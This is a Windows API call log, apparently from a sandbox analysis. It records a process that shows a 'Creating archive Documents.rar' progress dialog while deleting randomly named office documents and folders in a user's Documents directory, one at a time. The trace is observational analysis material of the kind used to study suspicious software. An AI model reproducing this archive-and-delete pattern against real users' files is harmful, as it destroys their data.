[0087.990] GetWindowTextW (in: hWnd=0x102f8, lpString=0x141a0dbb50, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0087.990] GetDlgItem (hDlg=0x102f8, nIDDlgItem=156) returned 0x102fe [0087.990] GetWindowTextW (in: hWnd=0x102fe, lpString=0x141a0da700, nMaxCount=2560 | out: lpString="") returned 0 [0087.990] SetWindowTextW (hWnd=0x102fe, lpString="Deleting") returned 1 [0087.992] GetDlgItem (hDlg=0x102f8, nIDDlgItem=155) returned 0x10300 [0087.992] GetWindowTextW (in: hWnd=0x10300, lpString=0x141a0da700, nMaxCount=2560 | out: lpString="") returned 0 [0087.992] SetWindowTextW (hWnd=0x10300, lpString="Qx eo7HW.odt") returned 1 [0087.993] GetTickCount () returned 0x2bc60 [0087.993] GetDlgItem (hDlg=0x102f8, nIDDlgItem=156) returned 0x102fe [0087.993] GetWindowTextW (in: hWnd=0x102fe, lpString=0x141a0dc3b0, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0087.993] SetWindowTextW (hWnd=0x102fe, lpString="") returned 1 [0087.993] GetDlgItem (hDlg=0x102f8, nIDDlgItem=155) returned 0x10300 [0087.993] GetWindowTextW (in: hWnd=0x10300, lpString=0x141a0dc3b0, nMaxCount=2560 | out: lpString="Qx eo7HW.odt") returned 12 [0087.993] SetWindowTextW (hWnd=0x10300, lpString="") returned 1 [0087.994] GetTickCount () returned 0x2bc60 [0087.994] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd700 | out: lpPerformanceCount=0x141a0dd700*=17932218098) returned 1 [0087.994] GetTickCount () returned 0x2bc60 [0087.994] GetTickCount () returned 0x2bc60 [0087.994] PeekMessageW (in: lpMsg=0x141a0dd790, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd790) returned 0 [0087.994] DeleteFileW (lpFileName="9EMbKuPh551l7_WJZv\\qfqeMqDF\\eSCikz2YIWaDp58m1bY\\2NOJ5\\lIHAtSXy\\9NEdDu7cj0FPBRK.odt" (normalized: "c:\\users\\fd1hvy\\documents\\9embkuph551l7_wjzv\\qfqemqdf\\escikz2yiwadp58m1by\\2noj5\\lihatsxy\\9neddu7cj0fpbrk.odt")) returned 1 [0087.995] GetWindowTextW (in: hWnd=0x102f8, lpString=0x141a0dbb50, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0087.995] GetDlgItem (hDlg=0x102f8, nIDDlgItem=156) returned 0x102fe [0087.995] GetWindowTextW (in: hWnd=0x102fe, lpString=0x141a0da700, nMaxCount=2560 | out: lpString="") returned 0 [0087.995] SetWindowTextW (hWnd=0x102fe, lpString="Deleting") returned 1 [0087.996] GetDlgItem (hDlg=0x102f8, nIDDlgItem=155) returned 0x10300 [0087.996] GetWindowTextW (in: hWnd=0x10300, lpString=0x141a0da700, nMaxCount=2560 | out: lpString="") returned 0 [0087.996] SetWindowTextW (hWnd=0x10300, lpString="9NEdDu7cj0FPBRK.odt") returned 1 [0087.996] GetTickCount () returned 0x2bc60 [0087.996] GetDlgItem (hDlg=0x102f8, nIDDlgItem=156) returned 0x102fe [0087.996] GetWindowTextW (in: hWnd=0x102fe, lpString=0x141a0dc3b0, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0087.996] SetWindowTextW (hWnd=0x102fe, lpString="") returned 1 [0087.996] GetDlgItem (hDlg=0x102f8, nIDDlgItem=155) returned 0x10300 [0087.996] GetWindowTextW (in: hWnd=0x10300, lpString=0x141a0dc3b0, nMaxCount=2560 | out: lpString="9NEdDu7cj0FPBRK.odt") returned 19 [0087.996] SetWindowTextW (hWnd=0x10300, lpString="") returned 1 [0087.997] GetTickCount () returned 0x2bc60 [0087.997] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd700 | out: lpPerformanceCount=0x141a0dd700*=17932540059) returned 1 [0087.997] GetTickCount () returned 0x2bc60 [0087.997] GetTickCount () returned 0x2bc60 [0087.997] PeekMessageW (in: lpMsg=0x141a0dd790, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd790) returned 0 [0087.997] PeekMessageW (in: lpMsg=0x141a0dd7f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd7f0) returned 0 [0087.997] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0087.997] DeleteFileW (lpFileName="9EMbKuPh551l7_WJZv\\qfqeMqDF\\eSCikz2YIWaDp58m1bY\\2NOJ5\\lIHAtSXy\\5S3P3.csv" (normalized: "c:\\users\\fd1hvy\\documents\\9embkuph551l7_wjzv\\qfqemqdf\\escikz2yiwadp58m1by\\2noj5\\lihatsxy\\5s3p3.csv")) returned 1 [0087.998] GetWindowTextW (in: hWnd=0x102f8, lpString=0x141a0dbb50, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0087.998] GetDlgItem (hDlg=0x102f8, nIDDlgItem=156) returned 0x102fe [0087.998] GetWindowTextW (in: hWnd=0x102fe, lpString=0x141a0da700, nMaxCount=2560 | out: lpString="") returned 0 [0087.998] SetWindowTextW (hWnd=0x102fe, lpString="Deleting") returned 1 [0087.999] GetDlgItem (hDlg=0x102f8, nIDDlgItem=155) returned 0x10300 [0087.999] GetWindowTextW (in: hWnd=0x10300, lpString=0x141a0da700, nMaxCount=2560 | out: lpString="") returned 0 [0087.999] SetWindowTextW (hWnd=0x10300, lpString="5S3P3.csv") returned 1 [0087.999] GetTickCount () returned 0x2bc60 [0087.999] GetDlgItem (hDlg=0x102f8, nIDDlgItem=156) returned 0x102fe [0087.999] GetWindowTextW (in: hWnd=0x102fe, lpString=0x141a0dc3b0, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0087.999] SetWindowTextW (hWnd=0x102fe, lpString="") returned 1 [0088.000] GetDlgItem (hDlg=0x102f8, nIDDlgItem=155) returned 0x10300 [0088.000] GetWindowTextW (in: hWnd=0x10300, lpString=0x141a0dc3b0, nMaxCount=2560 | out: lpString="5S3P3.csv") returned 9 [0088.000] SetWindowTextW (hWnd=0x10300, lpString="") returned 1 [0088.000] GetTickCount () returned 0x2bc60 [0088.000] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd700 | out: lpPerformanceCount=0x141a0dd700*=17932853992) returned 1 [0088.000] GetTickCount () returned 0x2bc60 [0088.000] GetTickCount () returned 0x2bc60 [0088.000] PeekMessageW (in: lpMsg=0x141a0dd790, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd790) returned 0 [0088.000] RemoveDirectoryW (lpPathName="9EMbKuPh551l7_WJZv\\qfqeMqDF\\eSCikz2YIWaDp58m1bY\\2NOJ5\\lIHAtSXy" (normalized: "c:\\users\\fd1hvy\\documents\\9embkuph551l7_wjzv\\qfqemqdf\\escikz2yiwadp58m1by\\2noj5\\lihatsxy")) returned 1 [0088.000] GetWindowTextW (in: hWnd=0x102f8, lpString=0x141a0dbb50, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0088.000] GetDlgItem (hDlg=0x102f8, nIDDlgItem=156) returned 0x102fe [0088.000] GetWindowTextW (in: hWnd=0x102fe, lpString=0x141a0da700, nMaxCount=2560 | out: lpString="") returned 0 [0088.001] SetWindowTextW (hWnd=0x102fe, lpString="Deleting") returned 1 [0088.002] GetDlgItem (hDlg=0x102f8, nIDDlgItem=155) returned 0x10300 [0088.002] GetWindowTextW (in: hWnd=0x10300, lpString=0x141a0da700, nMaxCount=2560 | out: lpString="") returned 0 [0088.002] SetWindowTextW (hWnd=0x10300, lpString="lIHAtSXy") returned 1 [0088.003] GetTickCount () returned 0x2bc60 [0088.003] GetDlgItem (hDlg=0x102f8, nIDDlgItem=156) returned 0x102fe [0088.003] GetWindowTextW (in: hWnd=0x102fe, lpString=0x141a0dc3b0, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0088.003] SetWindowTextW (hWnd=0x102fe, lpString="") returned 1 [0088.003] GetDlgItem (hDlg=0x102f8, nIDDlgItem=155) returned 0x10300 [0088.003] GetWindowTextW (in: hWnd=0x10300, lpString=0x141a0dc3b0, nMaxCount=2560 | out: lpString="lIHAtSXy") returned 8 [0088.003] SetWindowTextW (hWnd=0x10300, lpString="") returned 1 [0088.003] GetTickCount () returned 0x2bc60 [0088.003] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd700 | out: lpPerformanceCount=0x141a0dd700*=17933188998) returned 1 [0088.003] GetTickCount () returned 0x2bc60 [0088.003] GetTickCount () returned 0x2bc60 [0088.003] PeekMessageW (in: lpMsg=0x141a0dd790, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd790) returned 0 [0088.003] DeleteFileW (lpFileName="9EMbKuPh551l7_WJZv\\qfqeMqDF\\eSCikz2YIWaDp58m1bY\\2NOJ5\\iOBweAZSY.ods" (normalized: "c:\\users\\fd1hvy\\documents\\9embkuph551l7_wjzv\\qfqemqdf\\escikz2yiwadp58m1by\\2noj5\\iobweazsy.ods")) returned 1 [0088.005] GetWindowTextW (in: hWnd=0x102f8, lpString=0x141a0dbb50, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0088.005] GetDlgItem (hDlg=0x102f8, nIDDlgItem=156) returned 0x102fe [0088.005] GetWindowTextW (in: hWnd=0x102fe, lpString=0x141a0da700, nMaxCount=2560 | out: lpString="") returned 0 [0088.005] SetWindowTextW (hWnd=0x102fe, lpString="Deleting") returned 1 [0088.005] GetDlgItem (hDlg=0x102f8, nIDDlgItem=155) returned 0x10300 [0088.005] GetWindowTextW (in: hWnd=0x10300, lpString=0x141a0da700, nMaxCount=2560 | out: lpString="") returned 0 [0088.005] SetWindowTextW (hWnd=0x10300, lpString="iOBweAZSY.ods") returned 1 [0088.006] GetTickCount () returned 0x2bc60 [0088.006] GetDlgItem (hDlg=0x102f8, nIDDlgItem=156) returned 0x102fe [0088.006] GetWindowTextW (in: hWnd=0x102fe, lpString=0x141a0dc3b0, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0088.006] SetWindowTextW (hWnd=0x102fe, lpString="") returned 1 [0088.006] GetDlgItem (hDlg=0x102f8, nIDDlgItem=155) returned 0x10300 [0088.006] GetWindowTextW (in: hWnd=0x10300, lpString=0x141a0dc3b0, nMaxCount=2560 | out: lpString="iOBweAZSY.ods") returned 13 [0088.006] SetWindowTextW (hWnd=0x10300, lpString="") returned 1 [0088.008] GetTickCount () returned 0x2bc70 [0088.008] GetLastError () returned 0x0 [0088.008] SetLastError (dwErrCode=0x0) [0088.008] GetDlgItem (hDlg=0x102f8, nIDDlgItem=158) returned 0x10304 [0088.008] GetDlgItem (hDlg=0x102f8, nIDDlgItem=153) returned 0x10302 [0088.008] GetWindowTextW (in: hWnd=0x10302, lpString=0x141a0dbe80, nMaxCount=2560 | out: lpString=" 45%") returned 5 [0088.008] SetWindowTextW (hWnd=0x10302, lpString=" 59%") returned 1 [0088.009] SendMessageW (hWnd=0x10304, Msg=0x402, wParam=0x3b, lParam=0x0) returned 0x2d [0088.009] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd700 | out: lpPerformanceCount=0x141a0dd700*=17933777472) returned 1 [0088.009] GetTickCount () returned 0x2bc70 [0088.009] GetTickCount () returned 0x2bc70 [0088.009] PeekMessageW (in: lpMsg=0x141a0dd790, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd790) returned 1 [0088.009] GetMessageW (in: lpMsg=0x141a0dd720, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x141a0dd720) returned 1 [0088.009] GetFocus () returned 0x1031c [0088.009] IsDialogMessageW (hDlg=0x102f8, lpMsg=0x141a0dd720) returned 1 [0088.010] DeleteFileW (lpFileName="9EMbKuPh551l7_WJZv\\qfqeMqDF\\eSCikz2YIWaDp58m1bY\\2NOJ5\\DLaLU5Np1FYR8L.ods" (normalized: "c:\\users\\fd1hvy\\documents\\9embkuph551l7_wjzv\\qfqemqdf\\escikz2yiwadp58m1by\\2noj5\\dlalu5np1fyr8l.ods")) returned 1 [0088.012] GetWindowTextW (in: hWnd=0x102f8, lpString=0x141a0dbb50, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0088.012] GetDlgItem (hDlg=0x102f8, nIDDlgItem=156) returned 0x102fe [0088.012] GetWindowTextW (in: hWnd=0x102fe, lpString=0x141a0da700, nMaxCount=2560 | out: lpString="") returned 0 [0088.012] SetWindowTextW (hWnd=0x102fe, lpString="Deleting") returned 1 [0088.013] GetDlgItem (hDlg=0x102f8, nIDDlgItem=155) returned 0x10300 [0088.013] GetWindowTextW (in: hWnd=0x10300, lpString=0x141a0da700, nMaxCount=2560 | out: lpString="") returned 0 [0088.013] SetWindowTextW (hWnd=0x10300, lpString="DLaLU5Np1FYR8L.ods") returned 1 [0088.014] GetTickCount () returned 0x2bc70 [0088.014] GetDlgItem (hDlg=0x102f8, nIDDlgItem=156) returned 0x102fe [0088.014] GetWindowTextW (in: hWnd=0x102fe, lpString=0x141a0dc3b0, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0088.014] SetWindowTextW (hWnd=0x102fe, lpString="") returned 1 [0088.014] GetDlgItem (hDlg=0x102f8, nIDDlgItem=155) returned 0x10300 [0088.014] GetWindowTextW (in: hWnd=0x10300, lpString=0x141a0dc3b0, nMaxCount=2560 | out: lpString="DLaLU5Np1FYR8L.ods") returned 18 [0088.014] SetWindowTextW (hWnd=0x10300, lpString="") returned 1 [0088.015] GetTickCount () returned 0x2bc70 [0088.015] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd700 | out: lpPerformanceCount=0x141a0dd700*=17934321877) returned 1 [0088.015] GetTickCount () returned 0x2bc70 [0088.015] GetTickCount () returned 0x2bc70 [0088.015] PeekMessageW (in: lpMsg=0x141a0dd790, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd790) returned 1 [0088.015] GetMessageW (in: lpMsg=0x141a0dd720, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x141a0dd720) returned 1 [0088.015] GetFocus () returned 0x1031c [0088.015] IsDialogMessageW (hDlg=0x102f8, lpMsg=0x141a0dd720) returned 1 [0088.015] RemoveDirectoryW (lpPathName="9EMbKuPh551l7_WJZv\\qfqeMqDF\\eSCikz2YIWaDp58m1bY\\2NOJ5" (normalized: "c:\\users\\fd1hvy\\documents\\9embkuph551l7_wjzv\\qfqemqdf\\escikz2yiwadp58m1by\\2noj5")) returned 1 [0088.016] GetWindowTextW (in: hWnd=0x102f8, lpString=0x141a0dbb50, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0088.016] GetDlgItem (hDlg=0x102f8, nIDDlgItem=156) returned 0x102fe [0088.016] GetWindowTextW (in: hWnd=0x102fe, lpString=0x141a0da700, nMaxCount=2560 | out: lpString="") returned 0 [0088.016] SetWindowTextW (hWnd=0x102fe, lpString="Deleting") returned 1 [0088.017] GetDlgItem (hDlg=0x102f8, nIDDlgItem=155) returned 0x10300 [0088.017] GetWindowTextW (in: hWnd=0x10300, lpString=0x141a0da700, nMaxCount=2560 | out: lpString="") returned 0 [0088.017] SetWindowTextW (hWnd=0x10300, lpString="2NOJ5") returned 1 [0088.017] GetTickCount () returned 0x2bc70 [0088.017] GetDlgItem (hDlg=0x102f8, nIDDlgItem=156) returned 0x102fe [0088.017] GetWindowTextW (in: hWnd=0x102fe, lpString=0x141a0dc3b0, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0088.017] SetWindowTextW (hWnd=0x102fe, lpString="") returned 1 [0088.018] GetDlgItem (hDlg=0x102f8, nIDDlgItem=155) returned 0x10300 [0088.018] GetWindowTextW (in: hWnd=0x10300, lpString=0x141a0dc3b0, nMaxCount=2560 | out: lpString="2NOJ5") returned 5 [0088.018] SetWindowTextW (hWnd=0x10300, lpString="") returned 1 [0088.018] GetTickCount () returned 0x2bc70 [0088.018] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd700 | out: lpPerformanceCount=0x141a0dd700*=17934652315) returned 1 [0088.018] GetTickCount () returned 0x2bc70 [0088.018] GetTickCount () returned 0x2bc70 [0088.018] PeekMessageW (in: lpMsg=0x141a0dd790, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd790) returned 0 [0088.018] RemoveDirectoryW (lpPathName="9EMbKuPh551l7_WJZv\\qfqeMqDF\\eSCikz2YIWaDp58m1bY" (normalized: "c:\\users\\fd1hvy\\documents\\9embkuph551l7_wjzv\\qfqemqdf\\escikz2yiwadp58m1by")) returned 1 [0088.019] GetWindowTextW (in: hWnd=0x102f8, lpString=0x141a0dbb50, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0088.019] GetDlgItem (hDlg=0x102f8, nIDDlgItem=156) returned 0x102fe [0088.019] GetWindowTextW (in: hWnd=0x102fe, lpString=0x141a0da700, nMaxCount=2560 | out: lpString="") returned 0 [0088.019] SetWindowTextW (hWnd=0x102fe, lpString="Deleting") returned 1 [0088.019] GetDlgItem (hDlg=0x102f8, nIDDlgItem=155) returned 0x10300 [0088.019] GetWindowTextW (in: hWnd=0x10300, lpString=0x141a0da700, nMaxCount=2560 | out: lpString="") returned 0 [0088.020] SetWindowTextW (hWnd=0x10300, lpString="eSCikz2YIWaDp58m1bY") returned 1 [0088.020] GetTickCount () returned 0x2bc70 [0088.020] GetDlgItem (hDlg=0x102f8, nIDDlgItem=156) returned 0x102fe [0088.020] GetWindowTextW (in: hWnd=0x102fe, lpString=0x141a0dc3b0, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0088.020] SetWindowTextW (hWnd=0x102fe, lpString="") returned 1 [0088.020] GetDlgItem (hDlg=0x102f8, nIDDlgItem=155) returned 0x10300 [0088.020] GetWindowTextW (in: hWnd=0x10300, lpString=0x141a0dc3b0, nMaxCount=2560 | out: lpString="eSCikz2YIWaDp58m1bY") returned 19 [0088.020] SetWindowTextW (hWnd=0x10300, lpString="") returned 1 [0088.021] GetTickCount () returned 0x2bc70 [0088.021] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd700 | out: lpPerformanceCount=0x141a0dd700*=17934932669) returned 1 [0088.021] GetTickCount () returned 0x2bc70 [0088.021] GetTickCount () returned 0x2bc70 [0088.021] PeekMessageW (in: lpMsg=0x141a0dd790, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd790) returned 0 [0088.021] DeleteFileW (lpFileName="9EMbKuPh551l7_WJZv\\qfqeMqDF\\5HLd-s\\xZQ7e8.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\9embkuph551l7_wjzv\\qfqemqdf\\5hld-s\\xzq7e8.pptx")) returned 1 [0088.025] GetWindowTextW (in: hWnd=0x102f8, lpString=0x141a0dbb50, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0088.026] GetDlgItem (hDlg=0x102f8, nIDDlgItem=156) returned 0x102fe [0088.026] GetWindowTextW (in: hWnd=0x102fe, lpString=0x141a0da700, nMaxCount=2560 | out: lpString="") returned 0 [0088.026] SetWindowTextW (hWnd=0x102fe, lpString="Deleting") returned 1 [0088.026] GetDlgItem (hDlg=0x102f8, nIDDlgItem=155) returned 0x10300 [0088.026] GetWindowTextW (in: hWnd=0x10300, lpString=0x141a0da700, nMaxCount=2560 | out: lpString="") returned 0 [0088.026] SetWindowTextW (hWnd=0x10300, lpString="xZQ7e8.pptx") returned 1 [0088.027] GetTickCount () returned 0x2bc80 [0088.027] GetDlgItem (hDlg=0x102f8, nIDDlgItem=156) returned 0x102fe [0088.027] GetWindowTextW (in: hWnd=0x102fe, lpString=0x141a0dc3b0, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0088.027] SetWindowTextW (hWnd=0x102fe, lpString="") returned 1 [0088.027] GetDlgItem (hDlg=0x102f8, nIDDlgItem=155) returned 0x10300 [0088.027] GetWindowTextW (in: hWnd=0x10300, lpString=0x141a0dc3b0, nMaxCount=2560 | out: lpString="xZQ7e8.pptx") returned 11 [0088.027] SetWindowTextW (hWnd=0x10300, lpString="") returned 1 [0088.027] GetTickCount () returned 0x2bc80 [0088.027] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd700 | out: lpPerformanceCount=0x141a0dd700*=17935601482) returned 1 [0088.027] GetTickCount () returned 0x2bc80 [0088.027] GetTickCount () returned 0x2bc80 [0088.027] PeekMessageW (in: lpMsg=0x141a0dd790, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd790) returned 1 [0088.028] GetMessageW (in: lpMsg=0x141a0dd720, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x141a0dd720) returned 1 [0088.028] GetFocus () returned 0x1031c [0088.028] IsDialogMessageW (hDlg=0x102f8, lpMsg=0x141a0dd720) returned 1 [0088.028] DeleteFileW (lpFileName="9EMbKuPh551l7_WJZv\\qfqeMqDF\\5HLd-s\\XXRZ1Ntz_m owLhUomX.rtf" (normalized: "c:\\users\\fd1hvy\\documents\\9embkuph551l7_wjzv\\qfqemqdf\\5hld-s\\xxrz1ntz_m owlhuomx.rtf")) returned 1 [0088.033] GetWindowTextW (in: hWnd=0x102f8, lpString=0x141a0dbb50, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0088.033] GetDlgItem (hDlg=0x102f8, nIDDlgItem=156) returned 0x102fe [0088.033] GetWindowTextW (in: hWnd=0x102fe, lpString=0x141a0da700, nMaxCount=2560 | out: lpString="") returned 0 [0088.033] SetWindowTextW (hWnd=0x102fe, lpString="Deleting") returned 1 [0088.033] GetDlgItem (hDlg=0x102f8, nIDDlgItem=155) returned 0x10300 [0088.033] GetWindowTextW (in: hWnd=0x10300, lpString=0x141a0da700, nMaxCount=2560 | out: lpString="") returned 0 [0088.033] SetWindowTextW (hWnd=0x10300, lpString="XXRZ1Ntz_m owLhUomX.rtf") returned 1 [0088.034] GetTickCount () returned 0x2bc80 [0088.034] GetDlgItem (hDlg=0x102f8, nIDDlgItem=156) returned 0x102fe [0088.034] GetWindowTextW (in: hWnd=0x102fe, lpString=0x141a0dc3b0, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0088.034] SetWindowTextW (hWnd=0x102fe, lpString="") returned 1 [0088.034] GetDlgItem (hDlg=0x102f8, nIDDlgItem=155) returned 0x10300 [0088.034] GetWindowTextW (in: hWnd=0x10300, lpString=0x141a0dc3b0, nMaxCount=2560 | out: lpString="XXRZ1Ntz_m owLhUomX.rtf") returned 23 [0088.034] SetWindowTextW (hWnd=0x10300, lpString="") returned 1 [0088.035] GetTickCount () returned 0x2bc80 [0088.035] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd700 | out: lpPerformanceCount=0x141a0dd700*=17936339247) returned 1 [0088.035] GetTickCount () returned 0x2bc80 [0088.035] GetTickCount () returned 0x2bc80 [0088.035] PeekMessageW (in: lpMsg=0x141a0dd790, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd790) returned 1 [0088.035] GetMessageW (in: lpMsg=0x141a0dd720, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x141a0dd720) returned 1 [0088.035] GetFocus () returned 0x1031c [0088.035] IsDialogMessageW (hDlg=0x102f8, lpMsg=0x141a0dd720) returned 1 [0088.036] DeleteFileW (lpFileName="9EMbKuPh551l7_WJZv\\qfqeMqDF\\5HLd-s\\XiqWm6izl6v FQ5Q.doc" (normalized: "c:\\users\\fd1hvy\\documents\\9embkuph551l7_wjzv\\qfqemqdf\\5hld-s\\xiqwm6izl6v fq5q.doc")) returned 1 [0088.037] GetWindowTextW (in: hWnd=0x102f8, lpString=0x141a0dbb50, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0088.037] GetDlgItem (hDlg=0x102f8, nIDDlgItem=156) returned 0x102fe [0088.037] GetWindowTextW (in: hWnd=0x102fe, lpString=0x141a0da700, nMaxCount=2560 | out: lpString="") returned 0 [0088.037] SetWindowTextW (hWnd=0x102fe, lpString="Deleting") returned 1 [0088.037] GetDlgItem (hDlg=0x102f8, nIDDlgItem=155) returned 0x10300 [0088.037] GetWindowTextW (in: hWnd=0x10300, lpString=0x141a0da700, nMaxCount=2560 | out: lpString="") returned 0 [0088.037] SetWindowTextW (hWnd=0x10300, lpString="XiqWm6izl6v FQ5Q.doc") returned 1 [0088.038] GetTickCount () returned 0x2bc8f [0088.038] GetDlgItem (hDlg=0x102f8, nIDDlgItem=156) returned 0x102fe [0088.038] GetWindowTextW (in: hWnd=0x102fe, lpString=0x141a0dc3b0, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0088.038] SetWindowTextW (hWnd=0x102fe, lpString="") returned 1 [0088.038] GetDlgItem (hDlg=0x102f8, nIDDlgItem=155) returned 0x10300 [0088.038] GetWindowTextW (in: hWnd=0x10300, lpString=0x141a0dc3b0, nMaxCount=2560 | out: lpString="XiqWm6izl6v FQ5Q.doc") returned 20 [0088.038] SetWindowTextW (hWnd=0x10300, lpString="") returned 1 [0088.039] GetTickCount () returned 0x2bc8f [0088.039] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd700 | out: lpPerformanceCount=0x141a0dd700*=17936746879) returned 1 [0088.039] GetTickCount () returned 0x2bc8f [0088.039] GetTickCount () returned 0x2bc8f [0088.039] PeekMessageW (in: lpMsg=0x141a0dd790, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd790) returned 0 [0088.039] DeleteFileW (lpFileName="9EMbKuPh551l7_WJZv\\qfqeMqDF\\5HLd-s\\XGIfB05FTyHqB.xlsx" (normalized: "c:\\users\\fd1hvy\\documents\\9embkuph551l7_wjzv\\qfqemqdf\\5hld-s\\xgifb05ftyhqb.xlsx")) returned 1 [0088.040] GetWindowTextW (in: hWnd=0x102f8, lpString=0x141a0dbb50, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0088.041] GetDlgItem (hDlg=0x102f8, nIDDlgItem=156) returned 0x102fe [0088.042] GetWindowTextW (in: hWnd=0x102fe, lpString=0x141a0da700, nMaxCount=2560 | out: lpString="") returned 0 [0088.042] SetWindowTextW (hWnd=0x102fe, lpString="Deleting") returned 1 [0088.042] GetDlgItem (hDlg=0x102f8, nIDDlgItem=155) returned 0x10300 [0088.042] GetWindowTextW (in: hWnd=0x10300, lpString=0x141a0da700, nMaxCount=2560 | out: lpString="") returned 0 [0088.042] SetWindowTextW (hWnd=0x10300, lpString="XGIfB05FTyHqB.xlsx") returned 1 [0088.043] GetTickCount () returned 0x2bc8f [0088.043] GetDlgItem (hDlg=0x102f8, nIDDlgItem=156) returned 0x102fe [0088.043] GetWindowTextW (in: hWnd=0x102fe, lpString=0x141a0dc3b0, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0088.043] SetWindowTextW (hWnd=0x102fe, lpString="") returned 1 [0088.043] GetDlgItem (hDlg=0x102f8, nIDDlgItem=155) returned 0x10300 [0088.043] GetWindowTextW (in: hWnd=0x10300, lpString=0x141a0dc3b0, nMaxCount=2560 | out: lpString="XGIfB05FTyHqB.xlsx") returned 18 [0088.043] SetWindowTextW (hWnd=0x10300, lpString="") returned 1 [0088.043] GetTickCount () returned 0x2bc8f [0088.043] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd700 | out: lpPerformanceCount=0x141a0dd700*=17937208053) returned 1 [0088.043] GetTickCount () returned 0x2bc8f [0088.044] GetTickCount () returned 0x2bc8f [0088.044] PeekMessageW (in: lpMsg=0x141a0dd790, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd790) returned 0 [0088.044] DeleteFileW (lpFileName="9EMbKuPh551l7_WJZv\\qfqeMqDF\\5HLd-s\\rDvRexnp0.xls" (normalized: "c:\\users\\fd1hvy\\documents\\9embkuph551l7_wjzv\\qfqemqdf\\5hld-s\\rdvrexnp0.xls")) returned 1 [0088.045] GetWindowTextW (in: hWnd=0x102f8, lpString=0x141a0dbb50, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0088.045] GetDlgItem (hDlg=0x102f8, nIDDlgItem=156) returned 0x102fe [0088.045] GetWindowTextW (in: hWnd=0x102fe, lpString=0x141a0da700, nMaxCount=2560 | out: lpString="") returned 0 [0088.045] SetWindowTextW (hWnd=0x102fe, lpString="Deleting") returned 1 [0088.045] GetDlgItem (hDlg=0x102f8, nIDDlgItem=155) returned 0x10300 [0088.046] GetWindowTextW (in: hWnd=0x10300, lpString=0x141a0da700, nMaxCount=2560 | out: lpString="") returned 0 [0088.046] SetWindowTextW (hWnd=0x10300, lpString="rDvRexnp0.xls") returned 1 [0088.046] GetTickCount () returned 0x2bc8f [0088.046] GetDlgItem (hDlg=0x102f8, nIDDlgItem=156) returned 0x102fe [0088.046] GetWindowTextW (in: hWnd=0x102fe, lpString=0x141a0dc3b0, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0088.046] SetWindowTextW (hWnd=0x102fe, lpString="") 